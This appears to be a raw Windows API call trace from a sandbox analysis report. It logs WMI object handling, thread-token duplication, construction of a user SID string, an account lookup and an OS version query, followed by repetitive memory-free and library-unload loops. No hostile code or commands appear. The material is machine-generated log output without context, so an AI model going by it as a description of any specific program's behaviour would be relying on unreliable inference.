[0161.531] free (_Block=0x2b90e0) [0161.532] free (_Block=0x2ad6d0) [0161.532] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0161.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2c87bf20, dwHighDateTime=0x1d8a92a)) [0161.600] free (_Block=0x2af280) [0161.600] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0161.603] free (_Block=0x2ad6d0) [0161.604] free (_Block=0x2ad680) [0161.604] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0162.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2cdb0f40, dwHighDateTime=0x1d8a92a)) [0162.154] free (_Block=0x2af280) [0162.154] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0162.154] free (_Block=0x2b35c0) [0162.155] free (_Block=0x2ad680) [0162.155] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0162.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2ce23360, dwHighDateTime=0x1d8a92a)) [0162.187] free (_Block=0x2af180) [0162.187] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0162.188] free (_Block=0x2ad680) [0162.189] free (_Block=0x2ad6d0) [0162.189] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0162.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2d43cbc0, dwHighDateTime=0x1d8a92a)) [0162.829] free (_Block=0x2af180) [0162.829] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0162.830] free (_Block=0x2b90e0) [0162.830] free (_Block=0x2ad6d0) [0162.831] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0162.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2d488e80, dwHighDateTime=0x1d8a92a)) [0162.870] free (_Block=0x2af1a0) [0162.870] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0162.871] free (_Block=0x2ad6d0) [0162.872] free (_Block=0x2ad680) [0162.872] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0163.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2daee9a0, dwHighDateTime=0x1d8a92a)) [0163.650] free (_Block=0x2af1a0) [0163.650] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0163.650] free (_Block=0x2b90e0) [0163.651] free (_Block=0x2ad680) [0163.651] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0163.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2db86f20, dwHighDateTime=0x1d8a92a)) [0163.707] free (_Block=0x2af240) [0163.707] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0163.708] free (_Block=0x2ad680) [0163.709] free (_Block=0x2ad6d0) [0163.709] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0164.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2e0bbf40, dwHighDateTime=0x1d8a92a)) [0164.246] free (_Block=0x2af240) [0164.246] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0164.246] free (_Block=0x2b35c0) [0164.247] free (_Block=0x2ad6d0) [0164.247] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0164.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2e1544c0, dwHighDateTime=0x1d8a92a)) [0164.312] free (_Block=0x2af260) [0164.312] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0164.314] free (_Block=0x2ad6d0) [0164.314] free (_Block=0x2ad680) [0164.314] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 84 os_tid = 0x85c Thread: id = 85 os_tid = 0x868 Thread: id = 86 os_tid = 0xb50 [0125.997] SetLastError (dwErrCode=0x0) [0125.997] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0125.997] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0125.997] SetLastError (dwErrCode=0x0) [0125.997] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0125.997] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0125.997] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0125.997] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3c0 [0125.997] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3c0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0125.997] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3c0 | out: hHeap=0xc0000) returned 1 [0126.002] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0126.003] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0126.003] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0126.003] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0126.003] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0126.004] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0126.004] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0126.008] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0126.008] GetCurrentThread () returned 0xfffffffffffffffe [0126.008] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d0) returned 1 [0126.008] malloc (_Size=0xd8) returned 0x2b90e0 [0126.008] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0126.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0126.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0126.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0126.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0126.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0126.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0126.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0126.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0126.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0126.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0126.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0126.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0126.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0126.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0126.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0126.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0126.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0126.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0126.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0126.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0126.011] malloc (_Size=0x18) returned 0x2af0e0 [0126.011] DuplicateTokenEx (in: hExistingToken=0x2d0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0xa74600000001, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2dc) returned 1 [0126.012] malloc (_Size=0x48) returned 0x2ad220 [0126.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1abbb760, dwHighDateTime=0x1d8a92a)) [0126.012] SetEvent (hEvent=0x1f0) returned 1 [0126.023] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0126.023] GetLastError () returned 0x7a [0126.023] malloc (_Size=0x2c) returned 0x2ae2a0 [0126.023] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0126.023] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0126.023] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0126.023] malloc (_Size=0x1c) returned 0x2b0000 [0126.024] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0126.024] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0126.024] malloc (_Size=0x18) returned 0x2af040 [0126.024] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0126.024] malloc (_Size=0x18) returned 0x2aefa0 [0126.024] malloc (_Size=0x18) returned 0x2aefc0 [0126.024] SysStringLen (param_1="S-1-") returned 0x4 [0126.024] SysStringLen (param_1="5") returned 0x1 [0126.024] memcpy (in: _Dst=0x1398f8, _Src=0x126f78, _Size=0xa | out: _Dst=0x1398f8) returned 0x1398f8 [0126.024] memcpy (in: _Dst=0x139900, _Src=0x126d68, _Size=0x4 | out: _Dst=0x139900) returned 0x139900 [0126.024] free (_Block=0x2af040) [0126.024] free (_Block=0x2aefa0) [0126.024] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0126.024] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0126.024] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0126.024] malloc (_Size=0x18) returned 0x2aefa0 [0126.024] malloc (_Size=0x18) returned 0x2af040 [0126.024] SysStringLen (param_1="S-1-5") returned 0x5 [0126.024] SysStringLen (param_1="-") returned 0x1 [0126.024] memcpy (in: _Dst=0x126d68, _Src=0x1398f8, _Size=0xc | out: _Dst=0x126d68) returned 0x126d68 [0126.024] memcpy (in: _Dst=0x126d72, _Src=0x126f78, _Size=0x4 | out: _Dst=0x126d72) returned 0x126d72 [0126.026] free (_Block=0x2aefc0) [0126.026] free (_Block=0x2aefa0) [0126.026] malloc (_Size=0x18) returned 0x2aefa0 [0126.026] malloc (_Size=0x18) returned 0x2aefc0 [0126.026] SysStringLen (param_1="S-1-5-") returned 0x6 [0126.027] SysStringLen (param_1="21") returned 0x2 [0126.027] memcpy (in: _Dst=0x126f78, _Src=0x126d68, _Size=0xe | out: _Dst=0x126f78) returned 0x126f78 [0126.027] memcpy (in: _Dst=0x126f84, _Src=0x1398f8, _Size=0x6 | out: _Dst=0x126f84) returned 0x126f84 [0126.027] free (_Block=0x2af040) [0126.027] free (_Block=0x2aefa0) [0126.027] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0126.027] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0126.027] malloc (_Size=0x18) returned 0x2aefa0 [0126.027] malloc (_Size=0x18) returned 0x2af040 [0126.027] SysStringLen (param_1="S-1-5-21") returned 0x8 [0126.027] SysStringLen (param_1="-") returned 0x1 [0126.027] memcpy (in: _Dst=0x1398f8, _Src=0x126f78, _Size=0x12 | out: _Dst=0x1398f8) returned 0x1398f8 [0126.027] memcpy (in: _Dst=0x139908, _Src=0x126d68, _Size=0x4 | out: _Dst=0x139908) returned 0x139908 [0126.027] free (_Block=0x2aefc0) [0126.027] free (_Block=0x2aefa0) [0126.027] malloc (_Size=0x18) returned 0x2aefa0 [0126.027] malloc (_Size=0x18) returned 0x2aefc0 [0126.027] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0126.027] SysStringLen (param_1="4219442223") returned 0xa [0126.027] memcpy (in: _Dst=0x1179f8, _Src=0x1398f8, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0126.027] memcpy (in: _Dst=0x117a0a, _Src=0x126f78, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0126.027] free (_Block=0x2af040) [0126.027] free (_Block=0x2aefa0) [0126.027] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0126.028] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0126.028] malloc (_Size=0x18) returned 0x2aefa0 [0126.028] malloc (_Size=0x18) returned 0x2af040 [0126.028] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0126.028] SysStringLen (param_1="-") returned 0x1 [0126.028] memcpy (in: _Dst=0x117a48, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x117a48) returned 0x117a48 [0126.028] memcpy (in: _Dst=0x117a6e, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x117a6e) returned 0x117a6e [0126.028] free (_Block=0x2aefc0) [0126.028] free (_Block=0x2aefa0) [0126.028] malloc (_Size=0x18) returned 0x2aefa0 [0126.028] malloc (_Size=0x18) returned 0x2aefc0 [0126.028] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0126.028] SysStringLen (param_1="4223814209") returned 0xa [0126.028] memcpy (in: _Dst=0x12d6f8, _Src=0x117a48, _Size=0x2a | out: _Dst=0x12d6f8) returned 0x12d6f8 [0126.028] memcpy (in: _Dst=0x12d720, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x12d720) returned 0x12d720 [0126.028] free (_Block=0x2af040) [0126.028] free (_Block=0x2aefa0) [0126.028] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0126.028] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0126.028] malloc (_Size=0x18) returned 0x2aefa0 [0126.028] malloc (_Size=0x18) returned 0x2af040 [0126.028] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0126.028] SysStringLen (param_1="-") returned 0x1 [0126.029] memcpy (in: _Dst=0x12d808, _Src=0x12d6f8, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0126.029] memcpy (in: _Dst=0x12d844, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0126.029] free (_Block=0x2aefc0) [0126.029] free (_Block=0x2aefa0) [0126.029] malloc (_Size=0x18) returned 0x2aefa0 [0126.029] malloc (_Size=0x18) returned 0x2aefc0 [0126.029] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0126.029] SysStringLen (param_1="3835049652") returned 0xa [0126.029] memcpy (in: _Dst=0x12d6f8, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0126.029] memcpy (in: _Dst=0x12d736, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x12d736) returned 0x12d736 [0126.029] free (_Block=0x2af040) [0126.029] free (_Block=0x2aefa0) [0126.029] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0126.029] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0126.029] malloc (_Size=0x18) returned 0x2aefa0 [0126.029] malloc (_Size=0x18) returned 0x2af040 [0126.029] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0126.029] SysStringLen (param_1="-") returned 0x1 [0126.029] memcpy (in: _Dst=0x12d808, _Src=0x12d6f8, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0126.029] memcpy (in: _Dst=0x12d85a, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0126.029] free (_Block=0x2aefc0) [0126.029] free (_Block=0x2aefa0) [0126.029] malloc (_Size=0x18) returned 0x2aefa0 [0126.030] malloc (_Size=0x18) returned 0x2aefc0 [0126.030] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0126.030] SysStringLen (param_1="1000") returned 0x4 [0126.030] memcpy (in: _Dst=0x12d6f8, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0126.030] memcpy (in: _Dst=0x12d74c, _Src=0x1398f8, _Size=0xa | out: _Dst=0x12d74c) returned 0x12d74c [0126.030] free (_Block=0x2af040) [0126.030] free (_Block=0x2aefa0) [0126.030] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0126.030] malloc (_Size=0x5e) returned 0x2b08a0 [0126.030] free (_Block=0x2aefc0) [0126.030] malloc (_Size=0x18) returned 0x2aefc0 [0126.031] free (_Block=0x2b08a0) [0126.031] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0126.032] GetLastError () returned 0x7a [0126.032] malloc (_Size=0x14) returned 0x2aefa0 [0126.032] malloc (_Size=0x16) returned 0x2af040 [0126.032] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca84, ReferencedDomainName=0x2af040, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0126.032] malloc (_Size=0x18) returned 0x2af0c0 [0126.032] malloc (_Size=0x18) returned 0x2aef80 [0126.032] free (_Block=0x2aefa0) [0126.032] free (_Block=0x2af040) [0126.033] free (_Block=0x2b0000) [0126.033] free (_Block=0x2aef80) [0126.033] free (_Block=0x2af0c0) [0126.033] free (_Block=0x2aefc0) [0126.033] free (_Block=0x2ae2a0) [0126.033] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7fe, dwMinorVersion=0x11e070, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0126.033] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0126.033] GetLastError () returned 0x7a [0126.033] malloc (_Size=0x2c) returned 0x2ae2e0 [0126.034] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0126.034] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0126.034] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0126.034] malloc (_Size=0x1c) returned 0x2b0000 [0126.034] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0126.034] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0126.034] malloc (_Size=0x18) returned 0x2aefc0 [0126.034] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0126.034] malloc (_Size=0x18) returned 0x2af0c0 [0126.034] malloc (_Size=0x18) returned 0x2aef80 [0126.034] SysStringLen (param_1="S-1-") returned 0x4 [0126.034] SysStringLen (param_1="5") returned 0x1 [0126.034] memcpy (in: _Dst=0x126f78, _Src=0x126d68, _Size=0xa | out: _Dst=0x126f78) returned 0x126f78 [0126.034] memcpy (in: _Dst=0x126f80, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x126f80) returned 0x126f80 [0126.034] free (_Block=0x2aefc0) [0126.034] free (_Block=0x2af0c0) [0126.034] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0126.034] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0126.034] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0126.034] malloc (_Size=0x18) returned 0x2af0c0 [0126.034] malloc (_Size=0x18) returned 0x2aefc0 [0126.034] SysStringLen (param_1="S-1-5") returned 0x5 [0126.034] SysStringLen (param_1="-") returned 0x1 [0126.034] memcpy (in: _Dst=0x1398f8, _Src=0x126f78, _Size=0xc | out: _Dst=0x1398f8) returned 0x1398f8 [0126.034] memcpy (in: _Dst=0x139902, _Src=0x126d68, _Size=0x4 | out: _Dst=0x139902) returned 0x139902 [0126.034] free (_Block=0x2aef80) [0126.035] free (_Block=0x2af0c0) [0126.035] malloc (_Size=0x18) returned 0x2af0c0 [0126.035] malloc (_Size=0x18) returned 0x2aef80 [0126.035] SysStringLen (param_1="S-1-5-") returned 0x6 [0126.035] SysStringLen (param_1="21") returned 0x2 [0126.035] memcpy (in: _Dst=0x126d68, _Src=0x1398f8, _Size=0xe | out: _Dst=0x126d68) returned 